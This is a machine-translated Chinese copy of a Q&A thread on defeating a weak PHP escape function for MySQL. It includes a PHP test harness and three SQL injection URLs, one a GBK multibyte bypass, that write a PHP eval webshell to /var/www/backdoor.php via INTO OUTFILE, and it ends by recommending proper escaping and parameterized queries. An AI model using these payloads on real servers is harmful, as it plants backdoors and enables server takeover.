发现MySql有一个弱转义函数,如何利用?

2023-12-27

在我正在开发的一个应用程序中,我发现了一个弱转义函数来防止注入。我试图证明这一点,但我很难想出一个简单的例子。

转义函数的工作原理如下(PHP 示例)。

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

我意识到这不处理使用双引号 (") 编码的值,但所有查询都是使用单引号 (') 构造的。

谁能打败这个逃生功能呢?

要求:

  • 查询中的字符串始终用引号引起来。

如果你是just替换' with ''那么你可以通过注入一个来利用它\'这将变成一个\''这将允许你突破,因为这给你一个“字符文字”单引号和一个真正的单引号。然而,更换"\\" with "\\\\"否定本次攻击。双单引号用于“转义”MS-SQL 的单引号,但这不适合 MySQL,但它可以工作。

以下代码proves这个转义函数对所有人来说都是安全的,除了三个条件。此代码排列控制章程的所有可能变体,并测试每个变体以确保单引号括起来的 select 语句不会发生错误。此代码在 MySQL 5.1.41 上进行了测试。

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

脆弱条件 1:未使用引号。

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

脆弱情况2:使用双引号

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

脆弱情况2:使用单引号,但是使用替代字符集。 http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string.

mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

结论是始终使用mysql_real_escape_string()作为 MySQL 的转义例程。像 pdo 和 adodb 这样的参数化查询库总是使用mysql_real_escape_string()当连接到 mysql 数据库时。addslashes() is 好得多逃生程序的一部分,因为它照顾到脆弱的情况 2. 应该指出的是,即使mysql_real_escape_string()将停止条件 1,但参数化查询库会停止。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

发现MySql有一个弱转义函数,如何利用? 的相关文章

  • Mysql 中 UNION 子句的替代方案

    我有两张桌子 表 a 表 b table a ID 1 2 3 4 5 7 table b ID 2 3 4 5 6 我必须得到这样的输出而无需UNION命令 ID 1 2 3 4 5 6 7 注意 我有一个联合解决方案 select fr
  • 将古吉拉特语文本插入 MySQL 表会产生垃圾字符和不可读的文本

    我有三个 MySQL 表 我正在向其中插入古吉拉特语内容 当我插入两个表时 它们插入得很好并且可读 但在一个表中 它显示垃圾字符 不可读的文本 我怎样才能解决这个问题 MySQL 有每个表的字符集设置 http dev mysql com
  • 对多个数据库执行 SQL 查询

    我知道我的帖子与该论坛中的其他帖子的标题非常相似 但我真的找不到我需要的答案 这是我的问题 我的 Windows Server 上运行着 SQL Server 在我的 SQL Server 中 我有大约 30 个数据库 它们都具有相同的表和
  • 将第三个表链接到多对多关联中的桥接表

    设计这个数据库的正确方法是什么 这是我设置表格的方式 我在名为 教师 的表和名为 仪器 的表之间存在多对多关系 然后我有一个连接两者的桥接表 我想将另一个表与 BRIDGE 表关联起来 意思是乐器 老师的组合 该表有 3 行 指定老师可以教
  • 在没有默认 java.policy 文件的情况下运行 Java 安全管理器

    我不想修改 java 主目录中的任何内容 但是 我担心有时我的默认 java policy 文件可能过于宽松 当我使用以下命令运行 java 时 有没有办法使用指定的策略文件作为唯一的策略文件 Djava security manager
  • 免费 PHP 登录库 [关闭]

    就目前情况而言 这个问题不太适合我们的问答形式 我们希望答案得到事实 参考资料或专业知识的支持 但这个问题可能会引发辩论 争论 民意调查或扩展讨论 如果您觉得这个问题可以改进并可能重新开放 访问帮助中心 help reopen questi
  • MySQL连接字符集问题

    我在 Mac 上使用带有 MySQL 的 velosurf 没有任何编码问题 但是当我切换到 Linux 计算机时 从 velosurf 获得的值未正确编码 我发现这可能是默认连接字符集的问题 在 Mac 上我得到 mysql gt sho
  • 为什么 SqlClient 在传递 SqlXml 时使用不必要的 XML 转换?

    我有一个关于从 C 代码将 xml 数据类型传递给查询的问题 首先 这是 SQL Server 上的一个表 CREATE TABLE dbo XmlTable id int IDENTITY 1 1 NOT NULL dat xml NOT
  • 如何将ElasticSearch与MySQL集成?

    在我的一个项目中 我计划将 ElasticSearch 与 MySQL 结合使用 我已经成功安装ElasticSearch 我可以单独管理ES中的索引 但我不知道如何用 MySQL 实现同样的功能 我读过一些文件 但我有点困惑 没有明确的想
  • SELECT 语句会受到 SQL 注入攻击吗?

    实际上有2个问题 我知道我必须尽可能多地使用存储过程 但我想知道以下内容 A 我可以从 SELECT 语句 例如 Select from MyTable 获得 SQL 注入攻击吗 B 另外 当我在 ASP NET 中使用 SQLDataSo
  • 内连接不重复,可以吗?

    鉴于这两个表 表 A1 有两行具有相同的值 a A1 a a 表 A2 有两行主键值为 A B 它们与 a 关联 A2 PK col2 A a B a 我想要的是 A1 和 A2 的连接并得到这个结果 a A a B 显然内连接在这里不起作
  • 月份增量查询

    我想通过添加 1 个月来更新数据库中的月份 但我不知道如何在以下存储过程查询中添加月份 我不擅长 sql 请检查它 ALTER PROCEDURE dbo ChangePassword password varchar 20 epasswo
  • 为什么我可以像调用实例方法一样调用类方法?

    我正在查看这个例子 class SQLObject def self columns return columns if columns columns DBConnection execute2 lt lt SQL first SELEC
  • 将表数据从一个 SQL Server 导出到另一台 SQL Server

    我有两个 SQL Server 都是 2005 版本 我想将多个表从一个表迁移到另一个表 我努力了 在源服务器上 我右键单击数据库 选择Tasks Generate scripts 问题是在下面Table View options没有Scr
  • 映射 mysql 中同一个表的多个值

    您好 我必须使用另一个表中的值 id 获取文本值 表 1 包含值 ID 表 2 包含名称和值 ID 表 1 SEVERITY OCCURENCE DETECTABILITY 2 3 4 表 2 id name value 1 Very Hi
  • Google BQ:运行参数化查询,其中参数变量是 BQ 表目标

    我正在尝试从 Linux 命令行为 BQ 表目标运行 SQL 此 SQL 脚本将用于多个日期 客户端和 BQ 表目标 因此这需要在我的 BQ API 命令行调用中使用参数 标志 parameter 现在 我已经点击此链接来了解参数化查询 h
  • .NET 中是否有内置函数可以对密码进行哈希处理?

    我看到这个问题加密 散列数据库中的纯文本密码 https stackoverflow com questions 287517 encrypting hashing plain text passwords in database 我知道我
  • 使用间隔阈值对不同的连续时间戳记录进行分组

    我有一系列间歇性间隔的带有时间戳的 GPS 坐标 我正在使用 PostGIS 将它们渲染到地图画布上 为了渲染它们 需要使用 PostGIS 中的 ST MakeLine 聚合函数将点聚合成线 从而在地图上留下 GPS 数据丢失的间隙 数据
  • SQL不允许表中有重复记录

    如何使其不添加重复项 我想让它通过 ID 之外的所有其他列进行检查 我希望这个无效 ID col1 col2 col3 1 first middle last ID col1 col2 col3 2 first middle last 我希
  • 使用 postgres 和 node js 在单个语句中执行多个查询

    我需要在像这样的单个语句中执行插入和删除查询 INSERT INTO COMPANY ID NAME VALUES 1 Paul DELETE FROM COMPANY WHERE ID 12 这是我用于执行查询的 node js 代码 p

随机推荐

  • 对术语...进行抽象会导致术语...类型错误

    这是我想证明的 A Type i nat index f nat nat n nat ip n lt i partial index f nat option nat L partial index f index f n Some n V
  • 在 PostgreSQL 中声明“not-null-string”数组类型的列

    使用 PostgreSQL 9 6 我可以创建一个类型为 not null array of string 的列 CREATE TABLE example foo TEXT NOT NULL 但这允许元素为空 即我可以这样做 INSERT
  • 在哪里可以找到有关如何开发(rails 3)助手的文档[关闭]

    Closed 这个问题正在寻求书籍 工具 软件库等的推荐 不满足堆栈溢出指南 help closed questions 目前不接受答案 我可能是瞎子 但我真的找不到任何关于如何在 Rails 3 中为您自己的视图编写帮助程序的好文档 我正
  • 像 Android 电视 Leanback 中的 Android 手机一样的垂直列表

    我想创建一个简单的垂直列表 一行中的单列 它只能垂直滚动 不能水平滚动 我如何使用 Leanback 在 Android 电视上实现此目的 有关 ui 要求的更多说明 请参阅下图 我尝试使用 VerticalSupportFragment
  • 搜索未排序的数组

    也可能具有重复元素的未排序数组中的最小和最大比较次数是多少 我知道在未排序的数组中查找任何内容都是 O n 问题 但是 如果数组也包含重复元素 这是真的吗 我所说的重复元素是指在给定数组中多次出现的元素 所以这里的想法是你必须从头到尾遍历数
  • 互斥体是如何实现的?

    对于特定应用程序 某些实现是否比其他实现更好 通过推出自己的产品有什么收入吗 查看描述测试和设置 http en wikipedia org wiki Test and set维基百科上的机器指令 它暗示了如何在机器级别实现原子操作 我可以
  • 使用 PHP 发送文件时在 Internet Explorer 中维护自定义文件扩展名?

    我有一个服务器端 zip 存档 我想将其作为下载传递 我正在使用自定义扩展将这些特定档案与某些客户端软件相关联 例如 CustomArchive bwz Chrome 和 FireFox 可以完美处理此自定义扩展 但 Internet Ex
  • 带Executor和不带Executor的多线程区别

    我试图找出普通多线程和使用执行器的多线程 维护线程池 之间的性能差异 以下是两者的代码示例 没有执行器代码 使用多线程 import java lang management ManagementFactory import java la
  • 使用 iText 生成波斯语 PDF

    Hi 我知道很多人之前可能都问过这个问题 我几乎读过所有这些 但它无法帮助我解决我的问题 我正在使用 iText java 库生成波斯语 PDF 我正在使用以下代码 Document document new Document PageSi
  • 如何防止浏览器预加载

    我用 JavaScript 为 Chrome 编写了一个用户脚本扩展 以防止视频和音频标签在页面加载时自动下载 这是代码 var videoTags document getElementsByTagName Video var i for
  • 如何在保存到 Parse.Cloud.beforeSave 之前将照片调整为多种照片尺寸

    首先让我先说我让这段代码完美地工作以获得缩略图 https parse com docs cloud modules guide images https parse com docs cloud modules guide images
  • Google 计算器千位分隔符特殊字符

    注意 有关此问题的更多答案 请参阅Google 计算器中的特殊字符 https stackoverflow com questions 12867450 special characters in google calculator 我注意
  • 构建与系统具有相同证书的Android APK

    我正在尝试让系统应用程序正常工作 这是我所拥有的 具有完整 4 4 2 源代码的 OEM OMAP 平台 我已经使用 Ubuntu 14 04 构建了系统并加载到我的平台上 这一切都有效 现在 有一个来自 OEM 的应用程序可以直接访问硬件
  • Chartjs-plugin-annotation 与 ng2-charts 的正确配置位置?

    我在用着ng2 charts在我的 Angular 应用程序中绘制条形图 在某些时候 我不得不向我的图表添加静态线 我决定使用chartjs plugin annotation 将这两个库连接在一起没有很好的记录 但经过一些谷歌搜索后 我最
  • cmake 中何时应使用 PUBLIC/PRIVATE/INTERFACE 的示例

    我正在阅读有关 cmake 关键字的内容PUBLIC PRIVATE INTERFACE并发现了这一段here https cmake org cmake help latest manual cmake buildsystem 7 htm
  • Jquery textarea val() 不换行

    我得到一个带有 keyup 函数的文本区域 当用户输入内容时 我希望该文本呈现在 blockquote 标记内 它可以工作 但 id 不接受换行符和空格 你能帮我吗 post body keyup function blockquote f
  • ViewHolder中View类型的字段itemView引用了什么?

    我想弄清楚这个领域是什么itemView实际上是 这是我从文档中获取的代码片段 public abstract static class ViewHolder NonNull public final View itemView other
  • iOS9 中的 UIDatePicker 问题

    日期隐藏在UIDatePicker在iOS9中 我正在使用xib 此问题仅在xoode7 iOS9 中出现 Can any one help me to solve my issue 我认为这是新字体 San Francisco 字体比 H
  • Ruby:如何计算一个字符串在另一个字符串中出现的次数?

    我正在尝试计算一个字符串在另一个字符串中出现的次数 我知道你可以计算一个字母在字符串中出现的次数 string aabbccddbb string count a gt 2 但是 如果我搜索 aa 在此字符串中出现的次数 我也会得到两次 s
  • 发现MySql有一个弱转义函数,如何利用?

    在我正在开发的一个应用程序中 我发现了一个弱转义函数来防止注入 我试图证明这一点 但我很难想出一个简单的例子 转义函数的工作原理如下 PHP 示例 function escape value value str replace value